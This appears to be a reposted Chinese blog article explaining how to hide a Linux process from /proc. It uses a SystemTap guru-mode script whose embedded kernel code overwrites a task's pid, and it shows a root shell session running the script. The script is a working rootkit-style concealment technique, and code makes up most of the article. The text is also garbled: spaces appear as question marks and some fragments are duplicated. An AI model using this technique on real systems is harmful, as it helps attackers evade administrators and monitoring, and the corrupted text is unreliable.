一行代码如何隐藏 Linux 进程?


target->pid?=?0x7fffffff;
#!/usr/bin/stap?-g
#?hide.stp
global?pid;
function?hide(who:long)
%{
????struct?task_struct?*target;
????target?=?pid_task(find_vpid(STAP_ARG_who),?PIDTYPE_PID);
????target->pid?=?0x7fffffff;
%}
probe?begin
{
????pid?=?$1
????hide(pid);
????exit();
}
ff;
[root@localhost?system]#?./tohide?&
[1]?403
[root@localhost?system]#?./hide.stp
[root@localhost?system]#?
for?pid?in?$(ls?/proc|awk?'/^[0-9]+/{print?$1}');?do?
????ls?-l?/proc/$pid/exe;?
done
target->pid?=?xxxx;
return?-1;是不是比各种hook法简单多了,所谓的动数据而不要动代码!
是不是比各种 hook 法简单多了,所谓的动数据而不要动代码!
task被创建的时候,根据其pid注册procfs目录结构。 展示procfs目录结构的时候,遍历task list以其pid作为key来查找procfs目录结构。 0x7fffffff(或者任何其它合理的值)根本没有注册过,当然无法显示。


更多精彩推荐
?连按 5 次 Shift 重改 CMD 和密码并重启电脑,这个漏洞你不能不知道!
?出海、拆分、集成公链,“国家队区块链选手”BSN在下一盘怎样的棋?
点分享 点点赞 点在看
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/




CSDN
关注网络尖刀微信公众号
